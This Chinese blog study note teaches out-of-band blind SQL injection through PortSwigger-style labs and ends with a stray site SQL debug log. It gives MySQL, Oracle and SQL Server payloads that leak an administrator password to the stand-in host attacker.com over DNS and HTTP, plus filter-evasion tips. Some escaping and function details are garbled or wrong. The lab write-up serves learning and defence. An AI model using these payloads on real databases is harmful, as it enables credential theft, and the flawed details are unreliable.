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【学习笔记】带外攻击(OAST)——当“无声”成为壁垒

  • 2026-04-17 19:19:34
【学习笔记】带外攻击(OAST)——当“无声”成为壁垒
声明:文中涉及到的技术和工具,仅供学习使用,禁止从事任何非法活动,如因此造成的直接或间接损失,均由使用者自行承担责任。

一、开篇:当“布尔”“报错”“时间”都失效时

在前几篇中,我们用布尔盲注(看页面真假)、报错注入(看错误信息)、时间盲注(看延迟)突破了“无回显”的困境——但现实中,还有更极端的情况:
应用不返回任何错误(连“操作失败”都没有);
应用不响应延迟(SLEEP(5)和不延时一样快);
防火墙拦截了所有内部请求(比如禁止数据库访问外部网络)。
这时候,PortSwigger原路径给出了终极解决方案:带外攻击(Out-of-Band Attack,简称OAST)——通过外部网络交互(比如DNS请求、HTTP请求)把数据“偷”出去。就像你无法直接问数据库“密码是什么”,但可以偷偷给它递纸条:“把密码发到我指定的服务器”。

二、OAST的核心逻辑:“借鸡生蛋”

OAST的本质是让数据库主动向你的服务器发送请求,请求中包含你要的数据。PortSwigger原路径强调,OAST需要满足两个条件:
数据库能发起外部网络请求(比如DNS查询、HTTP POST);
你能监控这些请求(比如用自己的服务器接收DNS/HTTP请求)。
最常见的两种OAST方式(PortSwigger重点讲解):

1. DNS带外:用“域名解析”传数据

DNS是互联网的“电话簿”,每个域名解析都会被记录——我们可以把要偷的数据编码到域名中,让数据库发起DNS请求,你的服务器就能从请求日志里“读”出数据。
示例(MySQL):
假设你的服务器域名是attacker.com,你想偷users表中administrator的密码,构造Payload:
'; SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users WHERE username='administrator'), '.attacker.com\\test'))--
  • LOAD_FILE():MySQL的函数,用于读取文件(这里被用来触发DNS请求);
  • \\\\:转义后的\`(MySQL中需要用4个`表示一个``);
  • (SELECT password FROM users...):要偷的数据(比如pa$w0rd);
  • .attacker.com:你的服务器域名。
最终,数据库会发起一个DNS请求:pa$w0rd.attacker.com——你只需要查看DNS服务器的日志,就能得到密码!

2. HTTP带外:用“HTTP请求”传数据

如果数据库支持HTTP请求(比如Oracle的UTL_HTTP、SQL Server的xp_dirtree),可以直接把数据通过HTTP POST/GET发送到你的服务器。
示例(Oracle):
'; BEGIN  UTL_HTTP.REQUEST('http://attacker.com/collect?data=' || (SELECT password FROM users WHERE username='administrator'));END;---
  • UTL_HTTP.REQUEST():Oracle的函数,用于发送HTTP请求;
  • ||:Oracle的字符串拼接符;
  • http://attacker.com/collect?data=:你的服务器接口,用于接收数据。
数据库会向attacker.com发送HTTP请求,URL参数是data=pa$w0rd——你直接从Web服务器的访问日志里就能拿到数据。

三、PortSwigger靶场实战:从“交互”到“窃密”

我们用原路径中的两个经典实验,完整走一遍OAST流程:

实验1:验证带外交互(Blind SQL injection with out-of-band interaction)

场景:某网站的“反馈提交”功能,URL是https://example.com/feedback?message=test。应用逻辑:
  • 输入message后,应用将数据存入数据库;
  • 应用无任何回显(不显示成功/失败,不报错);
  • 数据库是MySQL,且能发起DNS请求。
目标:验证是否存在OAST注入点。
步骤
1. 注入Payload(触发DNS请求):
message=test'||LOAD_FILE(CONCAT('\\\\', 'test', '.attacker.com\\test'))||'
2. 查看你的DNS服务器日志(比如用tcpdump或云务商的控制台):
    • 如果看到test.attacker.com的解析记录→确认存在OAST注入点

实验2:带外数据窃取(Blind SQL injection with out-of-band data exfiltration)

场景:同上,但目标升级——窃取users表中administrator的密码(密码是随机字符串,长度8位)。
步骤
1. 构造Payload(把密码编码到DNS请求中):
message=test'||LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users WHERE username='administrator'), '.attacker.com\\test'))||'
2. 查看DNS日志:
  • 日志中出现abc12345.attacker.com密码是abc12345

四、常见坑点与解决

数据库不支持外部请求?
  • MySQL默认禁用LOAD_FILE()→需要开启secure_file_priv(设为空或指定目录);

  • Oracle默认禁用UTL_HTTP→需要管理员授权:GRANT EXECUTE ON UTL_HTTP TO 用户名

  • SQL Server默认启用xp_dirtree→可以直接用:EXEC xp_dirtree '\\attacker.com\test'

DNS请求被拦截
  • 短域名(比如a.com代替attacker.com);

  • 子域名编码(比如把数据分成a1.b2.c3.a.com,避免长域名被拦截)

数据有特殊字符?
  • HEX()编码(比如MySQL的HEX(password))→把pa$$w0rd变成70612477307264,再解码。

五、防御:如何阻止OAST?

PortSwigger原路径指出,OAST的根源是“数据库能发起外部请求”,最有效的防御方法:
禁用外部网络访问:数据库账号仅授予“内部查询”权限,禁止LOAD_FILE()、UTL_HTTP等函数;
防火墙拦截:用WAF或数据库防火墙,禁止数据库向外部IP发送DNS/HTTP请求;
参数化查询:彻底杜绝SQL注入(同第一篇)——这是所有SQL注入的终极解决方案。

六、互动与预告

小问题:你在OAST中用过Burp Collaborator吗?它是怎么帮你接收DNS/HTTP请求的?欢迎评论区分享!
下期预告:我们将进入SQL注入的“特殊场景”——当注入点在Cookie、Header中,或者被WAF过滤时,如何绕过?
(注:文中实验均基于PortSwigger Web Security Academy靶场,原文链接:https://portswigger.net/web-security/sql-injection/blind/os-command-injection)

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  1. CONNECT:[ UseTime:0.000665s ] mysql:host=127.0.0.1;port=3306;dbname=no_67808;charset=utf8mb4
  2. SHOW FULL COLUMNS FROM `fenlei` [ RunTime:0.000855s ]
  3. SELECT * FROM `fenlei` WHERE `fid` = 0 [ RunTime:0.000284s ]
  4. SELECT * FROM `fenlei` WHERE `fid` = 63 [ RunTime:0.000294s ]
  5. SHOW FULL COLUMNS FROM `set` [ RunTime:0.000490s ]
  6. SELECT * FROM `set` [ RunTime:0.000217s ]
  7. SHOW FULL COLUMNS FROM `article` [ RunTime:0.000587s ]
  8. SELECT * FROM `article` WHERE `id` = 480935 LIMIT 1 [ RunTime:0.000455s ]
  9. UPDATE `article` SET `lasttime` = 1776444226 WHERE `id` = 480935 [ RunTime:0.002547s ]
  10. SELECT * FROM `fenlei` WHERE `id` = 65 LIMIT 1 [ RunTime:0.000244s ]
  11. SELECT * FROM `article` WHERE `id` < 480935 ORDER BY `id` DESC LIMIT 1 [ RunTime:0.000437s ]
  12. SELECT * FROM `article` WHERE `id` > 480935 ORDER BY `id` ASC LIMIT 1 [ RunTime:0.000449s ]
  13. SELECT * FROM `article` WHERE `id` < 480935 ORDER BY `id` DESC LIMIT 10 [ RunTime:0.002371s ]
  14. SELECT * FROM `article` WHERE `id` < 480935 ORDER BY `id` DESC LIMIT 10,10 [ RunTime:0.001897s ]
  15. SELECT * FROM `article` WHERE `id` < 480935 ORDER BY `id` DESC LIMIT 20,10 [ RunTime:0.002682s ]
0.084696s